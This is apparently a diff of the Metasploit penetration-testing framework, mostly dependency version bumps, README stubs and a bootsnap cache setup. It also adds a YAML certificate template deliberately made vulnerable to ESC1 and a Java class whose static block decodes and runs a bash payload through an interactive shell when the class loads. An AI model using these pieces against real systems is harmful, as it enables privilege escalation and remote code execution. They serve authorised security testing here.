aws-sdk-s3, 1.119.0, "Apache 2.0"
|
||||
aws-partitions, 1.776.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.174.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.382.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.123.1, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.151.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.14, ruby
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.0, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
debug, 1.7.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
@@ -41,11 +44,11 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.1.0, MIT
|
||||
faraday, 2.7.4, MIT
|
||||
faker, 3.2.0, MIT
|
||||
faraday, 2.7.6, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faye-websocket, 0.11.2, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
@@ -57,131 +60,131 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.6.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.0, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.19.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.2, "New BSD"
|
||||
metasploit-credential, 6.0.5, "New BSD"
|
||||
metasploit-framework, 6.3.22, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.143, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.1, MIT
|
||||
minitest, 5.17.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.6.0, "Apache 2.0"
|
||||
mini_portile2, 2.8.2, MIT
|
||||
minitest, 5.18.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
net-ssh, 7.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.14.1, MIT
|
||||
nio4r, 2.5.9, MIT
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.2.0.0, MIT
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.3, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.5, "Simplified BSD"
|
||||
pg, 1.5.3, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.0.2, "New BSD"
|
||||
racc, 1.6.2, "ruby, Simplified BSD"
|
||||
rack, 2.2.6.2, MIT
|
||||
rack-protection, 3.0.5, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
puma, 6.3.0, "New BSD"
|
||||
racc, 1.7.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.7, MIT
|
||||
rack-protection, 3.0.6, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.5.0, MIT
|
||||
railties, 7.0.4.2, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.5, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.0.3, unknown
|
||||
recog, 3.1.1, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.6.2, MIT
|
||||
reline, 0.3.2, ruby
|
||||
regexp_parser, 2.8.0, MIT
|
||||
reline, 0.3.5, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.30, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.37, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.97, "New BSD"
|
||||
rex-powershell, 0.1.98, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.46, "New BSD"
|
||||
rex-socket, 0.1.52, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.49, "New BSD"
|
||||
rex-text, 0.2.52, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-expectations, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.3, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.5, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.44.1, MIT
|
||||
rubocop-ast, 1.24.1, MIT
|
||||
rubocop, 1.52.0, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.4, "New BSD"
|
||||
ruby_smb, 3.2.5, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.5, MIT
|
||||
sqlite3, 1.6.0, "New BSD"
|
||||
sinatra, 3.0.6, MIT
|
||||
sqlite3, 1.6.3, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.11, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.2.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
timeout, 0.3.1, "ruby, Simplified BSD"
|
||||
timeout, 0.3.2, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2022.7, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.4.2, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
@@ -189,5 +192,5 @@ windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.6, MIT
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.8, MIT
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
This directory contains ActiveRecord concerns, models and validators.
|
||||
@@ -0,0 +1,3 @@
|
||||
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
|
||||
`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
|
||||
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
|
||||
@@ -47,7 +47,7 @@ module Metasploit
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
config.eager_load = false
|
||||
end
|
||||
|
||||
if ActiveRecord.respond_to?(:legacy_connection_handling=)
|
||||
|
||||
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
|
||||
require 'digest'
|
||||
require 'metasploit/framework/version'
|
||||
require 'msf/base/config'
|
||||
|
||||
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
|
||||
#
|
||||
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
|
||||
# @return [void]
|
||||
def invalidate_bootsnap_cache!(bootsnap_config)
|
||||
expected_cache_metadata = {
|
||||
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
|
||||
'ruby_description' => RUBY_DESCRIPTION,
|
||||
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
|
||||
'bootsnap_config' => {
|
||||
'load_path_cache' => bootsnap_config[:load_path_cache],
|
||||
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
|
||||
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
|
||||
}
|
||||
}
|
||||
|
||||
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
|
||||
if File.exist?(cache_metadata_path)
|
||||
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
|
||||
if cache_metadata != expected_cache_metadata
|
||||
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
|
||||
end
|
||||
end
|
||||
|
||||
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
|
||||
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Attempt to use bootsnap caching for improved startup time
|
||||
begin
|
||||
require 'bootsnap'
|
||||
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
|
||||
development_mode = ['', nil, 'development'].include?(env)
|
||||
|
||||
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
|
||||
bootsnap_config = {
|
||||
cache_dir: cache_dir,
|
||||
ignore_directories: [],
|
||||
development_mode: development_mode,
|
||||
load_path_cache: true, # Optimize the LOAD_PATH with a cache
|
||||
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
|
||||
compile_cache_yaml: false, # Don't compile YAML into a cache
|
||||
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
|
||||
}
|
||||
invalidate_bootsnap_cache!(bootsnap_config)
|
||||
Bootsnap.setup(**bootsnap_config)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed bootsnap cache setup'
|
||||
begin
|
||||
FileUtils.rm_rf(cache_dir, secure: true)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed deleting bootsnap cache'
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
|
||||
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
|
||||
|
||||
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
|
||||
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
|
||||
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
|
||||
version of the resulting binary for use during exploitation.
|
||||
@@ -0,0 +1,27 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: -1
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
msPKI-Certificate-Name-Flag: 1
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
import java.util.Base64;
|
||||
|
||||
public class PayloadRuns {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -117,6 +117,13 @@
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
||||
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
|
||||
<% unless attacker_kb_references.empty? %>
|
||||
## AttackerKB references
|
||||
|
||||
<%= attacker_kb_references %>
|
||||
<% end %>
|
||||
|
||||
<% unless items[:mod_refs].empty? %>
|
||||
## References
|
||||
|
||||
|
||||
@@ -0,0 +1,615 @@
|
||||
[
|
||||
"V3_0_0_SNAPSHOT",
|
||||
"V3_0_0_ALPHA1",
|
||||
"V3_0_0_BETA1",
|
||||
"V3_0_0_BETA2",
|
||||
"V3_0_0_BETA3",
|
||||
"V3_0_0_BETA4",
|
||||
"V3_0_0_BETA5",
|
||||
"V3_0_0_BETA6_SNAPSHOT",
|
||||
"V3_0_0_BETA6",
|
||||
"V3_0_0_BETA7_SNAPSHOT",
|
||||
"V3_0_0_BETA7",
|
||||
"V3_0_0_BETA8_SNAPSHOT",
|
||||
"V3_0_0_BETA8",
|
||||
"V3_0_0_BETA9_SNAPSHOT",
|
||||
"V3_0_0_BETA9",
|
||||
"V3_0_0_FINAL",
|
||||
"V3_0_1_SNAPSHOT",
|
||||
"V3_0_1",
|
||||
"V3_0_2_SNAPSHOT",
|
||||
"V3_0_2",
|
||||
"V3_0_3_SNAPSHOT",
|
||||
"V3_0_3",
|
||||
"V3_0_4_SNAPSHOT",
|
||||
"V3_0_4",
|
||||
"V3_0_5_SNAPSHOT",
|
||||
"V3_0_5",
|
||||
"V3_0_6_SNAPSHOT",
|
||||
"V3_0_6",
|
||||
"V3_0_7_SNAPSHOT",
|
||||
"V3_0_7",
|
||||
"V3_0_8_SNAPSHOT",
|
||||
"V3_0_8",
|
||||
"V3_0_9_SNAPSHOT",
|
||||
"V3_0_9",
|
||||
"V3_0_10_SNAPSHOT",
|
||||
"V3_0_10",
|
||||
"V3_0_11_SNAPSHOT",
|
||||
"V3_0_11",
|
||||
"V3_0_12_SNAPSHOT",
|
||||
"V3_0_12",
|
||||
"V3_0_13_SNAPSHOT",
|
||||
"V3_0_13",
|
||||
"V3_0_14_SNAPSHOT",
|
||||
"V3_0_14",
|
||||
"V3_0_15_SNAPSHOT",
|
||||
"V3_0_15",
|
||||
"V3_1_0_SNAPSHOT",
|
||||
"V3_1_0",
|
||||
"V3_1_1_SNAPSHOT",
|
||||
"V3_1_1",
|
||||
"V3_1_2_SNAPSHOT",
|
||||
"V3_1_2",
|
||||
"V3_1_3_SNAPSHOT",
|
||||
"V3_1_3",
|
||||
"V3_1_4_SNAPSHOT",
|
||||
"V3_1_4",
|
||||
"V3_1_5_SNAPSHOT",
|
||||
"V3_1_5",
|
||||
"V3_1_6_SNAPSHOT",
|
||||
"V3_1_6",
|
||||
"V3_1_7_SNAPSHOT",
|
||||
"V3_1_7",
|
||||
"V3_1_8_SNAPSHOT",
|
||||
"V3_1_8",
|
||||
"V3_1_9_SNAPSHOT",
|
||||
"V3_1_9",
|
||||
"V3_2_0_SNAPSHOT",
|
||||
"V3_2_0",
|
||||
"V3_2_1_SNAPSHOT",
|
||||
"V3_2_1",
|
||||
"V3_2_2_SNAPSHOT",
|
||||
"V3_2_2",
|
||||
"V3_2_3_SNAPSHOT",
|
||||
"V3_2_3",
|
||||
"V3_2_4_SNAPSHOT",
|
||||
"V3_2_4",
|
||||
"V3_2_5_SNAPSHOT",
|
||||
"V3_2_5",
|
||||
"V3_2_6_SNAPSHOT",
|
||||
"V3_2_6",
|
||||
"V3_2_7_SNAPSHOT",
|
||||
"V3_2_7",
|
||||
"V3_2_8_SNAPSHOT",
|
||||
"V3_2_8",
|
||||
"V3_2_9_SNAPSHOT",
|
||||
"V3_2_9",
|
||||
"V3_3_1_SNAPSHOT",
|
||||
"V3_3_1",
|
||||
"V3_3_2_SNAPSHOT",
|
||||
"V3_3_2",
|
||||
"V3_3_3_SNAPSHOT",
|
||||
"V3_3_3",
|
||||
"V3_3_4_SNAPSHOT",
|
||||
"V3_3_4",
|
||||
"V3_3_5_SNAPSHOT",
|
||||
"V3_3_5",
|
||||
"V3_3_6_SNAPSHOT",
|
||||
"V3_3_6",
|
||||
"V3_3_7_SNAPSHOT",
|
||||
"V3_3_7",
|
||||
"V3_3_8_SNAPSHOT",
|
||||
"V3_3_8",
|
||||
"V3_3_9_SNAPSHOT",
|
||||
"V3_3_9",
|
||||
"V3_4_1_SNAPSHOT",
|
||||
"V3_4_1",
|
||||
"V3_4_2_SNAPSHOT",
|
||||
"V3_4_2",
|
||||
"V3_4_3_SNAPSHOT",
|
||||
"V3_4_3",
|
||||
"V3_4_4_SNAPSHOT",
|
||||
"V3_4_4",
|
||||
"V3_4_5_SNAPSHOT",
|
||||
"V3_4_5",
|
||||
"V3_4_6_SNAPSHOT",
|
||||
"V3_4_6",
|
||||
"V3_4_7_SNAPSHOT",
|
||||
"V3_4_7",
|
||||
"V3_4_8_SNAPSHOT",
|
||||
"V3_4_8",
|
||||
"V3_4_9_SNAPSHOT",
|
||||
"V3_4_9",
|
||||
"V3_5_1_SNAPSHOT",
|
||||
"V3_5_1",
|
||||
"V3_5_2_SNAPSHOT",
|
||||
"V3_5_2",
|
||||
"V3_5_3_SNAPSHOT",
|
||||
"V3_5_3",
|
||||
"V3_5_4_SNAPSHOT",
|
||||
"V3_5_4",
|
||||
"V3_5_5_SNAPSHOT",
|
||||
"V3_5_5",
|
||||
"V3_5_6_SNAPSHOT",
|
||||
"V3_5_6",
|
||||
"V3_5_7_SNAPSHOT",
|
||||
"V3_5_7",
|
||||
"V3_5_8_SNAPSHOT",
|
||||
"V3_5_8",
|
||||
"V3_5_9_SNAPSHOT",
|
||||
"V3_5_9",
|
||||
"V3_6_1_SNAPSHOT",
|
||||
"V3_6_1",
|
||||
"V3_6_2_SNAPSHOT",
|
||||
"V3_6_2",
|
||||
"V3_6_3_SNAPSHOT",
|
||||
"V3_6_3",
|
||||
"V3_6_4_SNAPSHOT",
|
||||
"V3_6_4",
|
||||
"V3_6_5_SNAPSHOT",
|
||||
"V3_6_5",
|
||||
"V3_6_6_SNAPSHOT",
|
||||
"V3_6_6",
|
||||
"V3_6_7_SNAPSHOT",
|
||||
"V3_6_7",
|
||||
"V3_6_8_SNAPSHOT",
|
||||
"V3_6_8",
|
||||
"V3_6_9_SNAPSHOT",
|
||||
"V3_6_9",
|
||||
"V3_7_1_SNAPSHOT",
|
||||
"V3_7_1",
|
||||
"V3_7_2_SNAPSHOT",
|
||||
"V3_7_2",
|
||||
"V3_7_3_SNAPSHOT",
|
||||
"V3_7_3",
|
||||
"V3_7_4_SNAPSHOT",
|
||||
"V3_7_4",
|
||||
"V3_7_5_SNAPSHOT",
|
||||
"V3_7_5",
|
||||
"V3_7_6_SNAPSHOT",
|
||||
"V3_7_6",
|
||||
"V3_7_7_SNAPSHOT",
|
||||
"V3_7_7",
|
||||
"V3_7_8_SNAPSHOT",
|
||||
"V3_7_8",
|
||||
"V3_7_9_SNAPSHOT",
|
||||
"V3_7_9",
|
||||
"V3_8_1_SNAPSHOT",
|
||||
"V3_8_1",
|
||||
"V3_8_2_SNAPSHOT",
|
||||
"V3_8_2",
|
||||
"V3_8_3_SNAPSHOT",
|
||||
"V3_8_3",
|
||||
"V3_8_4_SNAPSHOT",
|
||||
"V3_8_4",
|
||||
"V3_8_5_SNAPSHOT",
|
||||
"V3_8_5",
|
||||
"V3_8_6_SNAPSHOT",
|
||||
"V3_8_6",
|
||||
"V3_8_7_SNAPSHOT",
|
||||
"V3_8_7",
|
||||
"V3_8_8_SNAPSHOT",
|
||||
"V3_8_8",
|
||||
"V3_8_9_SNAPSHOT",
|
||||
"V3_8_9",
|
||||
"V3_9_1_SNAPSHOT",
|
||||
"V3_9_1",
|
||||
"V3_9_2_SNAPSHOT",
|
||||
"V3_9_2",
|
||||
"V3_9_3_SNAPSHOT",
|
||||
"V3_9_3",
|
||||
"V3_9_4_SNAPSHOT",
|
||||
"V3_9_4",
|
||||
"V3_9_5_SNAPSHOT",
|
||||
"V3_9_5",
|
||||
"V3_9_6_SNAPSHOT",
|
||||
"V3_9_6",
|
||||
"V3_9_7_SNAPSHOT",
|
||||
"V3_9_7",
|
||||
"V3_9_8_SNAPSHOT",
|
||||
"V3_9_8",
|
||||
"V3_9_9_SNAPSHOT",
|
||||
"V3_9_9",
|
||||
"V4_0_0_SNAPSHOT",
|
||||
"V4_0_0",
|
||||
"V4_0_1_SNAPSHOT",
|
||||
"V4_0_1",
|
||||
"V4_0_2_SNAPSHOT",
|
||||
"V4_0_2",
|
||||
"V4_0_3_SNAPSHOT",
|
||||
"V4_0_3",
|
||||
"V4_0_4_SNAPSHOT",
|
||||
"V4_0_4",
|
||||
"V4_0_5_SNAPSHOT",
|
||||
"V4_0_5",
|
||||
"V4_0_6_SNAPSHOT",
|
||||
"V4_0_6",
|
||||
"V4_0_7_SNAPSHOT",
|
||||
"V4_0_7",
|
||||
"V4_0_8_SNAPSHOT",
|
||||
"V4_0_8",
|
||||
"V4_0_9_SNAPSHOT",
|
||||
"V4_0_9",
|
||||
"V4_1_0_SNAPSHOT",
|
||||
"V4_1_0",
|
||||
"V4_1_1_SNAPSHOT",
|
||||
"V4_1_1",
|
||||
"V4_1_2_SNAPSHOT",
|
||||
"V4_1_2",
|
||||
"V4_1_3_SNAPSHOT",
|
||||
"V4_1_3",
|
||||
"V4_1_4_SNAPSHOT",
|
||||
"V4_1_4",
|
||||
"V4_1_5_SNAPSHOT",
|
||||
"V4_1_5",
|
||||
"V4_1_6_SNAPSHOT",
|
||||
"V4_1_6",
|
||||
"V4_1_7_SNAPSHOT",
|
||||
"V4_1_7",
|
||||
"V4_1_8_SNAPSHOT",
|
||||
"V4_1_8",
|
||||
"V4_1_9_SNAPSHOT",
|
||||
"V4_1_9",
|
||||
"V4_2_0_SNAPSHOT",
|
||||
"V4_2_0",
|
||||
"V4_2_1_SNAPSHOT",
|
||||
"V4_2_1",
|
||||
"V4_2_2_SNAPSHOT",
|
||||
"V4_2_2",
|
||||
"V4_2_3_SNAPSHOT",
|
||||
"V4_2_3",
|
||||
"V4_2_4_SNAPSHOT",
|
||||
"V4_2_4",
|
||||
"V4_2_5_SNAPSHOT",
|
||||
"V4_2_5",
|
||||
"V4_2_6_SNAPSHOT",
|
||||
"V4_2_6",
|
||||
"V4_2_7_SNAPSHOT",
|
||||
"V4_2_7",
|
||||
"V4_2_8_SNAPSHOT",
|
||||
"V4_2_8",
|
||||
"V4_2_9_SNAPSHOT",
|
||||
"V4_2_9",
|
||||
"V4_3_0_SNAPSHOT",
|
||||
"V4_3_0",
|
||||
"V4_3_1_SNAPSHOT",
|
||||
"V4_3_1",
|
||||
"V4_3_2_SNAPSHOT",
|
||||
"V4_3_2",
|
||||
"V4_3_3_SNAPSHOT",
|
||||
"V4_3_3",
|
||||
"V4_3_4_SNAPSHOT",
|
||||
"V4_3_4",
|
||||
"V4_3_5_SNAPSHOT",
|
||||
"V4_3_5",
|
||||
"V4_3_6_SNAPSHOT",
|
||||
"V4_3_6",
|
||||
"V4_3_7_SNAPSHOT",
|
||||
"V4_3_7",
|
||||
"V4_3_8_SNAPSHOT",
|
||||
"V4_3_8",
|
||||
"V4_3_9_SNAPSHOT",
|
||||
"V4_3_9",
|
||||
"V4_4_0_SNAPSHOT",
|
||||
"V4_4_0",
|
||||
"V4_4_1_SNAPSHOT",
|
||||
"V4_4_1",
|
||||
"V4_4_2_SNAPSHOT",
|
||||
"V4_4_2",
|
||||
"V4_4_3_SNAPSHOT",
|
||||
"V4_4_3",
|
||||
"V4_4_4_SNAPSHOT",
|
||||
"V4_4_4",
|
||||
"V4_4_5_SNAPSHOT",
|
||||
"V4_4_5",
|
||||
"V4_4_6_SNAPSHOT",
|
||||
"V4_4_6",
|
||||
"V4_4_7_SNAPSHOT",
|
||||
"V4_4_7",
|
||||
"V4_4_8_SNAPSHOT",
|
||||
"V4_4_8",
|
||||
"V4_4_9_SNAPSHOT",
|
||||
"V4_4_9",
|
||||
"V4_5_0_SNAPSHOT",
|
||||
"V4_5_0",
|
||||
"V4_5_1_SNAPSHOT",
|
||||
"V4_5_1",
|
||||
